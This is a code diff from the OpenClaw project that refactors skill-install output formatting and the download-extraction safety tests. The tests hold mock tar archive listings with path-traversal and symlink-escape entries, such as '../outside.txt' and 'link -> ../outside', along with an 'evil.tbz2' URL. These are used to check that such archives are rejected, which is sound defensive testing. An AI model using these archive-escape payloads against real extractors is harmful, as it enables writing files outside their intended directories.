||||
@@ -32,12 +14,12 @@ describe("sessions_spawn requesterOrigin threading", () => {
|
||||
beforeEach(() => {
|
||||
resetSubagentRegistryForTests();
|
||||
callGatewayMock.mockReset();
|
||||
configOverride = {
|
||||
setSubagentsConfigOverride({
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const req = opts as { method?: string };
|
||||
|
||||
@@ -10,6 +10,7 @@ import { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js";
|
||||
import { isWithinDir, resolveSafeBaseDir } from "../infra/path-safety.js";
|
||||
import { runCommandWithTimeout } from "../process/exec.js";
|
||||
import { ensureDir, resolveUserPath } from "../utils.js";
|
||||
import { formatInstallFailureMessage } from "./skills-install-output.js";
|
||||
import { hasBinary } from "./skills.js";
|
||||
import { resolveSkillToolsRootDir } from "./skills/tools-dir.js";
|
||||
|
||||
@@ -17,45 +18,6 @@ function isNodeReadableStream(value: unknown): value is NodeJS.ReadableStream {
|
||||
return Boolean(value && typeof (value as NodeJS.ReadableStream).pipe === "function");
|
||||
}
|
||||
|
||||
function summarizeInstallOutput(text: string): string | undefined {
|
||||
const raw = text.trim();
|
||||
if (!raw) {
|
||||
return undefined;
|
||||
}
|
||||
const lines = raw
|
||||
.split("\n")
|
||||
.map((line) => line.trim())
|
||||
.filter(Boolean);
|
||||
if (lines.length === 0) {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
const preferred =
|
||||
lines.find((line) => /^error\b/i.test(line)) ??
|
||||
lines.find((line) => /\b(err!|error:|failed)\b/i.test(line)) ??
|
||||
lines.at(-1);
|
||||
|
||||
if (!preferred) {
|
||||
return undefined;
|
||||
}
|
||||
const normalized = preferred.replace(/\s+/g, " ").trim();
|
||||
const maxLen = 200;
|
||||
return normalized.length > maxLen ? `${normalized.slice(0, maxLen - 1)}…` : normalized;
|
||||
}
|
||||
|
||||
function formatInstallFailureMessage(result: {
|
||||
code: number | null;
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
}): string {
|
||||
const code = typeof result.code === "number" ? `exit ${result.code}` : "unknown exit";
|
||||
const summary = summarizeInstallOutput(result.stderr) ?? summarizeInstallOutput(result.stdout);
|
||||
if (!summary) {
|
||||
return `Install failed (${code})`;
|
||||
}
|
||||
return `Install failed (${code}): ${summary}`;
|
||||
}
|
||||
|
||||
function isWindowsDrivePath(p: string): boolean {
|
||||
return /^[a-zA-Z]:[\\/]/.test(p);
|
||||
}
|
||||
|
||||
40
src/agents/skills-install-output.ts
Normal file
40
src/agents/skills-install-output.ts
Normal file
@@ -0,0 +1,40 @@
|
||||
export type InstallCommandResult = {
|
||||
code: number | null;
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
};
|
||||
|
||||
function summarizeInstallOutput(text: string): string | undefined {
|
||||
const raw = text.trim();
|
||||
if (!raw) {
|
||||
return undefined;
|
||||
}
|
||||
const lines = raw
|
||||
.split("\n")
|
||||
.map((line) => line.trim())
|
||||
.filter(Boolean);
|
||||
if (lines.length === 0) {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
const preferred =
|
||||
lines.find((line) => /^error\b/i.test(line)) ??
|
||||
lines.find((line) => /\b(err!|error:|failed)\b/i.test(line)) ??
|
||||
lines.at(-1);
|
||||
|
||||
if (!preferred) {
|
||||
return undefined;
|
||||
}
|
||||
const normalized = preferred.replace(/\s+/g, " ").trim();
|
||||
const maxLen = 200;
|
||||
return normalized.length > maxLen ? `${normalized.slice(0, maxLen - 1)}…` : normalized;
|
||||
}
|
||||
|
||||
export function formatInstallFailureMessage(result: InstallCommandResult): string {
|
||||
const code = typeof result.code === "number" ? `exit ${result.code}` : "unknown exit";
|
||||
const summary = summarizeInstallOutput(result.stderr) ?? summarizeInstallOutput(result.stdout);
|
||||
if (!summary) {
|
||||
return `Install failed (${code})`;
|
||||
}
|
||||
return `Install failed (${code}): ${summary}`;
|
||||
}
|
||||
@@ -2,91 +2,125 @@ import fs from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { setTempStateDir, writeDownloadSkill } from "./skills-install.download-test-utils.js";
|
||||
import { installSkill } from "./skills-install.js";
|
||||
|
||||
const runCommandWithTimeoutMock = vi.fn();
|
||||
const scanDirectoryWithSummaryMock = vi.fn();
|
||||
const fetchWithSsrFGuardMock = vi.fn();
|
||||
const mocks = {
|
||||
runCommand: vi.fn(),
|
||||
scanSummary: vi.fn(),
|
||||
fetchGuard: vi.fn(),
|
||||
};
|
||||
|
||||
const originalOpenClawStateDir = process.env.OPENCLAW_STATE_DIR;
|
||||
function mockDownloadResponse() {
|
||||
mocks.fetchGuard.mockResolvedValue({
|
||||
response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }),
|
||||
release: async () => undefined,
|
||||
});
|
||||
}
|
||||
|
||||
function runCommandResult(params?: Partial<Record<"code" | "stdout" | "stderr", string | number>>) {
|
||||
return {
|
||||
code: 0,
|
||||
stdout: "",
|
||||
stderr: "",
|
||||
signal: null,
|
||||
killed: false,
|
||||
...params,
|
||||
};
|
||||
}
|
||||
|
||||
function mockTarExtractionFlow(params: {
|
||||
listOutput: string;
|
||||
verboseListOutput: string;
|
||||
extract: "ok" | "reject";
|
||||
}) {
|
||||
mocks.runCommand.mockImplementation(async (argv: unknown[]) => {
|
||||
const cmd = argv as string[];
|
||||
if (cmd[0] === "tar" && cmd[1] === "tf") {
|
||||
return runCommandResult({ stdout: params.listOutput });
|
||||
}
|
||||
if (cmd[0] === "tar" && cmd[1] === "tvf") {
|
||||
return runCommandResult({ stdout: params.verboseListOutput });
|
||||
}
|
||||
if (cmd[0] === "tar" && cmd[1] === "xf") {
|
||||
if (params.extract === "reject") {
|
||||
throw new Error("should not extract");
|
||||
}
|
||||
return runCommandResult({ stdout: "ok" });
|
||||
}
|
||||
return runCommandResult();
|
||||
});
|
||||
}
|
||||
|
||||
async function withTempWorkspace(
|
||||
run: (params: { workspaceDir: string; stateDir: string }) => Promise<void>,
|
||||
) {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
|
||||
try {
|
||||
const stateDir = setTempStateDir(workspaceDir);
|
||||
await run({ workspaceDir, stateDir });
|
||||
} finally {
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
|
||||
}
|
||||
}
|
||||
|
||||
async function writeTarBz2Skill(params: {
|
||||
workspaceDir: string;
|
||||
stateDir: string;
|
||||
name: string;
|
||||
url: string;
|
||||
stripComponents?: number;
|
||||
}) {
|
||||
const targetDir = path.join(params.stateDir, "tools", params.name, "target");
|
||||
await writeDownloadSkill({
|
||||
workspaceDir: params.workspaceDir,
|
||||
name: params.name,
|
||||
installId: "dl",
|
||||
url: params.url,
|
||||
archive: "tar.bz2",
|
||||
...(typeof params.stripComponents === "number"
|
||||
? { stripComponents: params.stripComponents }
|
||||
: {}),
|
||||
targetDir,
|
||||
});
|
||||
}
|
||||
|
||||
function restoreOpenClawStateDir(originalValue: string | undefined): void {
|
||||
if (originalValue === undefined) {
|
||||
delete process.env.OPENCLAW_STATE_DIR;
|
||||
return;
|
||||
}
|
||||
process.env.OPENCLAW_STATE_DIR = originalValue;
|
||||
}
|
||||
|
||||
const originalStateDir = process.env.OPENCLAW_STATE_DIR;
|
||||
|
||||
afterEach(() => {
|
||||
if (originalOpenClawStateDir === undefined) {
|
||||
delete process.env.OPENCLAW_STATE_DIR;
|
||||
} else {
|
||||
process.env.OPENCLAW_STATE_DIR = originalOpenClawStateDir;
|
||||
}
|
||||
restoreOpenClawStateDir(originalStateDir);
|
||||
});
|
||||
|
||||
vi.mock("../process/exec.js", () => ({
|
||||
runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args),
|
||||
runCommandWithTimeout: (...args: unknown[]) => mocks.runCommand(...args),
|
||||
}));
|
||||
|
||||
vi.mock("../infra/net/fetch-guard.js", () => ({
|
||||
fetchWithSsrFGuard: (...args: unknown[]) => fetchWithSsrFGuardMock(...args),
|
||||
fetchWithSsrFGuard: (...args: unknown[]) => mocks.fetchGuard(...args),
|
||||
}));
|
||||
|
||||
vi.mock("../security/skill-scanner.js", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("../security/skill-scanner.js")>();
|
||||
return {
|
||||
...actual,
|
||||
scanDirectoryWithSummary: (...args: unknown[]) => scanDirectoryWithSummaryMock(...args),
|
||||
scanDirectoryWithSummary: (...args: unknown[]) => mocks.scanSummary(...args),
|
||||
};
|
||||
});
|
||||
|
||||
async function writeDownloadSkill(params: {
|
||||
workspaceDir: string;
|
||||
name: string;
|
||||
installId: string;
|
||||
url: string;
|
||||
stripComponents?: number;
|
||||
targetDir: string;
|
||||
}): Promise<string> {
|
||||
const skillDir = path.join(params.workspaceDir, "skills", params.name);
|
||||
await fs.mkdir(skillDir, { recursive: true });
|
||||
const meta = {
|
||||
openclaw: {
|
||||
install: [
|
||||
{
|
||||
id: params.installId,
|
||||
kind: "download",
|
||||
url: params.url,
|
||||
archive: "tar.bz2",
|
||||
extract: true,
|
||||
stripComponents: params.stripComponents,
|
||||
targetDir: params.targetDir,
|
||||
},
|
||||
],
|
||||
},
|
||||
};
|
||||
await fs.writeFile(
|
||||
path.join(skillDir, "SKILL.md"),
|
||||
`---
|
||||
name: ${params.name}
|
||||
description: test skill
|
||||
metadata: ${JSON.stringify(meta)}
|
||||
---
|
||||
|
||||
# ${params.name}
|
||||
`,
|
||||
"utf-8",
|
||||
);
|
||||
await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8");
|
||||
return skillDir;
|
||||
}
|
||||
|
||||
function setTempStateDir(workspaceDir: string): string {
|
||||
const stateDir = path.join(workspaceDir, "state");
|
||||
process.env.OPENCLAW_STATE_DIR = stateDir;
|
||||
return stateDir;
|
||||
}
|
||||
|
||||
describe("installSkill download extraction safety (tar.bz2)", () => {
|
||||
beforeEach(() => {
|
||||
runCommandWithTimeoutMock.mockReset();
|
||||
scanDirectoryWithSummaryMock.mockReset();
|
||||
fetchWithSsrFGuardMock.mockReset();
|
||||
scanDirectoryWithSummaryMock.mockResolvedValue({
|
||||
mocks.runCommand.mockReset();
|
||||
mocks.scanSummary.mockReset();
|
||||
mocks.fetchGuard.mockReset();
|
||||
mocks.scanSummary.mockResolvedValue({
|
||||
scannedFiles: 0,
|
||||
critical: 0,
|
||||
warn: 0,
|
||||
@@ -96,99 +130,47 @@ describe("installSkill download extraction safety (tar.bz2)", () => {
|
||||
});
|
||||
|
||||
it("rejects tar.bz2 traversal before extraction", async () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
|
||||
try {
|
||||
const stateDir = setTempStateDir(workspaceDir);
|
||||
const targetDir = path.join(stateDir, "tools", "tbz2-slip", "target");
|
||||
await withTempWorkspace(async ({ workspaceDir, stateDir }) => {
|
||||
const url = "https://example.invalid/evil.tbz2";
|
||||
|
||||
fetchWithSsrFGuardMock.mockResolvedValue({
|
||||
response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }),
|
||||
release: async () => undefined,
|
||||
mockDownloadResponse();
|
||||
mockTarExtractionFlow({
|
||||
listOutput: "../outside.txt\n",
|
||||
verboseListOutput: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 ../outside.txt\n",
|
||||
extract: "reject",
|
||||
});
|
||||
|
||||
runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => {
|
||||
const cmd = argv as string[];
|
||||
if (cmd[0] === "tar" && cmd[1] === "tf") {
|
||||
return { code: 0, stdout: "../outside.txt\n", stderr: "", signal: null, killed: false };
|
||||
}
|
||||
if (cmd[0] === "tar" && cmd[1] === "tvf") {
|
||||
return {
|
||||
code: 0,
|
||||
stdout: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 ../outside.txt\n",
|
||||
stderr: "",
|
||||
signal: null,
|
||||
killed: false,
|
||||
};
|
||||
}
|
||||
if (cmd[0] === "tar" && cmd[1] === "xf") {
|
||||
throw new Error("should not extract");
|
||||
}
|
||||
return { code: 0, stdout: "", stderr: "", signal: null, killed: false };
|
||||
});
|
||||
|
||||
await writeDownloadSkill({
|
||||
await writeTarBz2Skill({
|
||||
workspaceDir,
|
||||
stateDir,
|
||||
name: "tbz2-slip",
|
||||
installId: "dl",
|
||||
url,
|
||||
targetDir,
|
||||
});
|
||||
|
||||
const result = await installSkill({ workspaceDir, skillName: "tbz2-slip", installId: "dl" });
|
||||
expect(result.ok).toBe(false);
|
||||
expect(
|
||||
runCommandWithTimeoutMock.mock.calls.some((call) => (call[0] as string[])[1] === "xf"),
|
||||
).toBe(false);
|
||||
} finally {
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
|
||||
}
|
||||
expect(mocks.runCommand.mock.calls.some((call) => (call[0] as string[])[1] === "xf")).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects tar.bz2 archives containing symlinks", async () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
|
||||
try {
|
||||
const stateDir = setTempStateDir(workspaceDir);
|
||||
const targetDir = path.join(stateDir, "tools", "tbz2-symlink", "target");
|
||||
await withTempWorkspace(async ({ workspaceDir, stateDir }) => {
|
||||
const url = "https://example.invalid/evil.tbz2";
|
||||
|
||||
fetchWithSsrFGuardMock.mockResolvedValue({
|
||||
response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }),
|
||||
release: async () => undefined,
|
||||
mockDownloadResponse();
|
||||
mockTarExtractionFlow({
|
||||
listOutput: "link\nlink/pwned.txt\n",
|
||||
verboseListOutput: "lrwxr-xr-x 0 0 0 0 Jan 1 00:00 link -> ../outside\n",
|
||||
extract: "reject",
|
||||
});
|
||||
|
||||
runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => {
|
||||
const cmd = argv as string[];
|
||||
if (cmd[0] === "tar" && cmd[1] === "tf") {
|
||||
return {
|
||||
code: 0,
|
||||
stdout: "link\nlink/pwned.txt\n",
|
||||
stderr: "",
|
||||
signal: null,
|
||||
killed: false,
|
||||
};
|
||||
}
|
||||
if (cmd[0] === "tar" && cmd[1] === "tvf") {
|
||||
return {
|
||||
code: 0,
|
||||
stdout: "lrwxr-xr-x 0 0 0 0 Jan 1 00:00 link -> ../outside\n",
|
||||
stderr: "",
|
||||
signal: null,
|
||||
killed: false,
|
||||
};
|
||||
}
|
||||
if (cmd[0] === "tar" && cmd[1] === "xf") {
|
||||
throw new Error("should not extract");
|
||||
}
|
||||
return { code: 0, stdout: "", stderr: "", signal: null, killed: false };
|
||||
});
|
||||
|
||||
await writeDownloadSkill({
|
||||
await writeTarBz2Skill({
|
||||
workspaceDir,
|
||||
stateDir,
|
||||
name: "tbz2-symlink",
|
||||
installId: "dl",
|
||||
url,
|
||||
targetDir,
|
||||
});
|
||||
|
||||
const result = await installSkill({
|
||||
@@ -198,107 +180,53 @@ describe("installSkill download extraction safety (tar.bz2)", () => {
|
||||
});
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.stderr.toLowerCase()).toContain("link");
|
||||
} finally {
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
it("extracts tar.bz2 with stripComponents safely (preflight only)", async () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
|
||||
try {
|
||||
const stateDir = setTempStateDir(workspaceDir);
|
||||
const targetDir = path.join(stateDir, "tools", "tbz2-ok", "target");
|
||||
await withTempWorkspace(async ({ workspaceDir, stateDir }) => {
|
||||
const url = "https://example.invalid/good.tbz2";
|
||||
|
||||
fetchWithSsrFGuardMock.mockResolvedValue({
|
||||
response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }),
|
||||
release: async () => undefined,
|
||||
mockDownloadResponse();
|
||||
mockTarExtractionFlow({
|
||||
listOutput: "package/hello.txt\n",
|
||||
verboseListOutput: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 package/hello.txt\n",
|
||||
extract: "ok",
|
||||
});
|
||||
|
||||
runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => {
|
||||
const cmd = argv as string[];
|
||||
if (cmd[0] === "tar" && cmd[1] === "tf") {
|
||||
return {
|
||||
code: 0,
|
||||
stdout: "package/hello.txt\n",
|
||||
stderr: "",
|
||||
signal: null,
|
||||
killed: false,
|
||||
};
|
||||
}
|
||||
if (cmd[0] === "tar" && cmd[1] === "tvf") {
|
||||
return {
|
||||
code: 0,
|
||||
stdout: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 package/hello.txt\n",
|
||||
stderr: "",
|
||||
signal: null,
|
||||
killed: false,
|
||||
};
|
||||
}
|
||||
if (cmd[0] === "tar" && cmd[1] === "xf") {
|
||||
return { code: 0, stdout: "ok", stderr: "", signal: null, killed: false };
|
||||
}
|
||||
return { code: 0, stdout: "", stderr: "", signal: null, killed: false };
|
||||
});
|
||||
|
||||
await writeDownloadSkill({
|
||||
await writeTarBz2Skill({
|
||||
workspaceDir,
|
||||
stateDir,
|
||||
name: "tbz2-ok",
|
||||
installId: "dl",
|
||||
url,
|
||||
stripComponents: 1,
|
||||
targetDir,
|
||||
});
|
||||
|
||||
const result = await installSkill({ workspaceDir, skillName: "tbz2-ok", installId: "dl" });
|
||||
expect(result.ok).toBe(true);
|
||||
expect(
|
||||
runCommandWithTimeoutMock.mock.calls.some((call) => (call[0] as string[])[1] === "xf"),
|
||||
).toBe(true);
|
||||
} finally {
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
|
||||
}
|
||||
expect(mocks.runCommand.mock.calls.some((call) => (call[0] as string[])[1] === "xf")).toBe(
|
||||
true,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects tar.bz2 stripComponents escape", async () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
|
||||
try {
|
||||
const stateDir = setTempStateDir(workspaceDir);
|
||||
const targetDir = path.join(stateDir, "tools", "tbz2-strip-escape", "target");
|
||||
await withTempWorkspace(async ({ workspaceDir, stateDir }) => {
|
||||
const url = "https://example.invalid/evil.tbz2";
|
||||
|
||||
fetchWithSsrFGuardMock.mockResolvedValue({
|
||||
response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }),
|
||||
release: async () => undefined,
|
||||
mockDownloadResponse();
|
||||
mockTarExtractionFlow({
|
||||
listOutput: "a/../b.txt\n",
|
||||
verboseListOutput: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 a/../b.txt\n",
|
||||
extract: "reject",
|
||||
});
|
||||
|
||||
runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => {
|
||||
const cmd = argv as string[];
|
||||
if (cmd[0] === "tar" && cmd[1] === "tf") {
|
||||
return { code: 0, stdout: "a/../b.txt\n", stderr: "", signal: null, killed: false };
|
||||
}
|
||||
if (cmd[0] === "tar" && cmd[1] === "tvf") {
|
||||
return {
|
||||
code: 0,
|
||||
stdout: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 a/../b.txt\n",
|
||||
stderr: "",
|
||||
signal: null,
|
||||
killed: false,
|
||||
};
|
||||
}
|
||||
if (cmd[0] === "tar" && cmd[1] === "xf") {
|
||||
throw new Error("should not extract");
|
||||
}
|
||||
return { code: 0, stdout: "", stderr: "", signal: null, killed: false };
|
||||
});
|
||||
|
||||
await writeDownloadSkill({
|
||||
await writeTarBz2Skill({
|
||||
workspaceDir,
|
||||
stateDir,
|
||||
name: "tbz2-strip-escape",
|
||||
installId: "dl",
|
||||
url,
|
||||
stripComponents: 1,
|
||||
targetDir,
|
||||
});
|
||||
|
||||
const result = await installSkill({
|
||||
@@ -307,11 +235,9 @@ describe("installSkill download extraction safety (tar.bz2)", () => {
|
||||
installId: "dl",
|
||||
});
|
||||
expect(result.ok).toBe(false);
|
||||
expect(
|
||||
runCommandWithTimeoutMock.mock.calls.some((call) => (call[0] as string[])[1] === "xf"),
|
||||
).toBe(false);
|
||||
} finally {
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
|
||||
}
|
||||
expect(mocks.runCommand.mock.calls.some((call) => (call[0] as string[])[1] === "xf")).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
50
src/agents/skills-install.download-test-utils.ts
Normal file
50
src/agents/skills-install.download-test-utils.ts
Normal file
@@ -0,0 +1,50 @@
|
||||
import fs from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
|
||||
export function setTempStateDir(workspaceDir: string): string {
|
||||
const stateDir = path.join(workspaceDir, "state");
|
||||
process.env.OPENCLAW_STATE_DIR = stateDir;
|
||||
return stateDir;
|
||||
}
|
||||
|
||||
export async function writeDownloadSkill(params: {
|
||||
workspaceDir: string;
|
||||
name: string;
|
||||
installId: string;
|
||||
url: string;
|
||||
archive: "tar.gz" | "tar.bz2" | "zip";
|
||||
stripComponents?: number;
|
||||
targetDir: string;
|
||||
}): Promise<string> {
|
||||
const skillDir = path.join(params.workspaceDir, "skills", params.name);
|
||||
await fs.mkdir(skillDir, { recursive: true });
|
||||
const meta = {
|
||||
openclaw: {
|
||||
install: [
|
||||
{
|
||||
id: params.installId,
|
||||
kind: "download",
|
||||
url: params.url,
|
||||
archive: params.archive,
|
||||
extract: true,
|
||||
stripComponents: params.stripComponents,
|
||||
targetDir: params.targetDir,
|
||||
},
|
||||
],
|
||||
},
|
||||
};
|
||||
await fs.writeFile(
|
||||
path.join(skillDir, "SKILL.md"),
|
||||
`---
|
||||
name: ${params.name}
|
||||
description: test skill
|
||||
metadata: ${JSON.stringify(meta)}
|
||||
---
|
||||
|
||||
# ${params.name}
|
||||
`,
|
||||
"utf-8",
|
||||
);
|
||||
await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8");
|
||||
return skillDir;
|
||||
}
|
||||
@@ -4,6 +4,7 @@ import os from "node:os";
|
||||
import path from "node:path";
|
||||
import * as tar from "tar";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { setTempStateDir, writeDownloadSkill } from "./skills-install.download-test-utils.js";
|
||||
import { installSkill } from "./skills-install.js";
|
||||
|
||||
const runCommandWithTimeoutMock = vi.fn();
|
||||
@@ -36,48 +37,6 @@ vi.mock("../security/skill-scanner.js", async (importOriginal) => {
|
||||
};
|
||||
});
|
||||
|
||||
async function writeDownloadSkill(params: {
|
||||
workspaceDir: string;
|
||||
name: string;
|
||||
installId: string;
|
||||
url: string;
|
||||
archive: "tar.gz" | "tar.bz2" | "zip";
|
||||
stripComponents?: number;
|
||||
targetDir: string;
|
||||
}): Promise<string> {
|
||||
const skillDir = path.join(params.workspaceDir, "skills", params.name);
|
||||
await fs.mkdir(skillDir, { recursive: true });
|
||||
const meta = {
|
||||
openclaw: {
|
||||
install: [
|
||||
{
|
||||
id: params.installId,
|
||||
kind: "download",
|
||||
url: params.url,
|
||||
archive: params.archive,
|
||||
extract: true,
|
||||
stripComponents: params.stripComponents,
|
||||
targetDir: params.targetDir,
|
||||
},
|
||||
],
|
||||
},
|
||||
};
|
||||
await fs.writeFile(
|
||||
path.join(skillDir, "SKILL.md"),
|
||||
`---
|
||||
name: ${params.name}
|
||||
description: test skill
|
||||
metadata: ${JSON.stringify(meta)}
|
||||
---
|
||||
|
||||
# ${params.name}
|
||||
`,
|
||||
"utf-8",
|
||||
);
|
||||
await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8");
|
||||
return skillDir;
|
||||
}
|
||||
|
||||
async function fileExists(filePath: string): Promise<boolean> {
|
||||
try {
|
||||
await fs.stat(filePath);
|
||||
@@ -87,10 +46,37 @@ async function fileExists(filePath: string): Promise<boolean> {
|
||||
}
|
||||
}
|
||||
|
||||
function setTempStateDir(workspaceDir: string): string {
|
||||
const stateDir = path.join(workspaceDir, "state");
|
||||
process.env.OPENCLAW_STATE_DIR = stateDir;
|
||||
return stateDir;
|
||||
async function seedZipDownloadResponse() {
|
||||
const zip = new JSZip();
|
||||
zip.file("hello.txt", "hi");
|
||||
const buffer = await zip.generateAsync({ type: "nodebuffer" });
|
||||
fetchWithSsrFGuardMock.mockResolvedValue({
|
||||
response: new Response(buffer, { status: 200 }),
|
||||
release: async () => undefined,
|
||||
});
|
||||
}
|
||||
|
||||
async function installZipDownloadSkill(params: {
|
||||
workspaceDir: string;
|
||||
name: string;
|
||||
targetDir: string;
|
||||
}) {
|
||||
const url = "https://example.invalid/good.zip";
|
||||
await seedZipDownloadResponse();
|
||||
await writeDownloadSkill({
|
||||
workspaceDir: params.workspaceDir,
|
||||
name: params.name,
|
||||
installId: "dl",
|
||||
url,
|
||||
archive: "zip",
|
||||
targetDir: params.targetDir,
|
||||
});
|
||||
|
||||
return installSkill({
|
||||
workspaceDir: params.workspaceDir,
|
||||
skillName: params.name,
|
||||
installId: "dl",
|
||||
});
|
||||
}
|
||||
|
||||
describe("installSkill download extraction safety", () => {
|
||||
@@ -261,30 +247,11 @@ describe("installSkill download extraction safety", () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
|
||||
try {
|
||||
const stateDir = setTempStateDir(workspaceDir);
|
||||
const url = "https://example.invalid/good.zip";
|
||||
|
||||
const zip = new JSZip();
|
||||
zip.file("hello.txt", "hi");
|
||||
const buffer = await zip.generateAsync({ type: "nodebuffer" });
|
||||
fetchWithSsrFGuardMock.mockResolvedValue({
|
||||
response: new Response(buffer, { status: 200 }),
|
||||
release: async () => undefined,
|
||||
});
|
||||
|
||||
await writeDownloadSkill({
|
||||
const result = await installZipDownloadSkill({
|
||||
workspaceDir,
|
||||
name: "relative-targetdir",
|
||||
installId: "dl",
|
||||
url,
|
||||
archive: "zip",
|
||||
targetDir: "runtime",
|
||||
});
|
||||
|
||||
const result = await installSkill({
|
||||
workspaceDir,
|
||||
skillName: "relative-targetdir",
|
||||
installId: "dl",
|
||||
});
|
||||
expect(result.ok).toBe(true);
|
||||
expect(
|
||||
await fs.readFile(
|
||||
@@ -301,30 +268,11 @@ describe("installSkill download extraction safety", () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
|
||||
try {
|
||||
setTempStateDir(workspaceDir);
|
||||
const url = "https://example.invalid/good.zip";
|
||||
|
||||
const zip = new JSZip();
|
||||
zip.file("hello.txt", "hi");
|
||||
const buffer = await zip.generateAsync({ type: "nodebuffer" });
|
||||
fetchWithSsrFGuardMock.mockResolvedValue({
|
||||
response: new Response(buffer, { status: 200 }),
|
||||
release: async () => undefined,
|
||||
});
|
||||
|
||||
await writeDownloadSkill({
|
||||
const result = await installZipDownloadSkill({
|
||||
workspaceDir,
|
||||
name: "relative-traversal",
|
||||
installId: "dl",
|
||||
url,
|
||||
archive: "zip",
|
||||
targetDir: "../outside",
|
||||
});
|
||||
|
||||
const result = await installSkill({
|
||||
workspaceDir,
|
||||
skillName: "relative-traversal",
|
||||
installId: "dl",
|
||||
});
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.stderr).toContain("Refusing to install outside the skill tools directory");
|
||||
expect(fetchWithSsrFGuardMock.mock.calls.length).toBe(0);
|
||||
|
||||
@@ -6,6 +6,7 @@ import { runCommandWithTimeout, type CommandOptions } from "../process/exec.js";
|
||||
import { scanDirectoryWithSummary } from "../security/skill-scanner.js";
|
||||
import { resolveUserPath } from "../utils.js";
|
||||
import { installDownloadSpec } from "./skills-install-download.js";
|
||||
import { formatInstallFailureMessage } from "./skills-install-output.js";
|
||||
import {
|
||||
hasBinary,
|
||||
loadWorkspaceSkillEntries,
|
||||
@@ -32,45 +33,6 @@ export type SkillInstallResult = {
|
||||
warnings?: string[];
|
||||
};
|
||||
|
||||
function summarizeInstallOutput(text: string): string | undefined {
|
||||
const raw = text.trim();
|
||||
if (!raw) {
|
||||
return undefined;
|
||||
}
|
||||
const lines = raw
|
||||
.split("\n")
|
||||
.map((line) => line.trim())
|
||||
.filter(Boolean);
|
||||
if (lines.length === 0) {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
const preferred =
|
||||
lines.find((line) => /^error\b/i.test(line)) ??
|
||||
lines.find((line) => /\b(err!|error:|failed)\b/i.test(line)) ??
|
||||
lines.at(-1);
|
||||
|
||||
if (!preferred) {
|
||||
return undefined;
|
||||
}
|
||||
const normalized = preferred.replace(/\s+/g, " ").trim();
|
||||
const maxLen = 200;
|
||||
return normalized.length > maxLen ? `${normalized.slice(0, maxLen - 1)}…` : normalized;
|
||||
}
|
||||
|
||||
function formatInstallFailureMessage(result: {
|
||||
code: number | null;
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
}): string {
|
||||
const code = typeof result.code === "number" ? `exit ${result.code}` : "unknown exit";
|
||||
const summary = summarizeInstallOutput(result.stderr) ?? summarizeInstallOutput(result.stdout);
|
||||
if (!summary) {
|
||||
return `Install failed (${code})`;
|
||||
}
|
||||
return `Install failed (${code}): ${summary}`;
|
||||
}
|
||||
|
||||
function withWarnings(result: SkillInstallResult, warnings: string[]): SkillInstallResult {
|
||||
if (warnings.length === 0) {
|
||||
return result;
|
||||
|
||||
@@ -25,6 +25,22 @@ ${body ?? `# ${name}\n`}
|
||||
);
|
||||
}
|
||||
|
||||
function buildSkillsPrompt(workspaceDir: string, managedDir: string, bundledDir: string): string {
|
||||
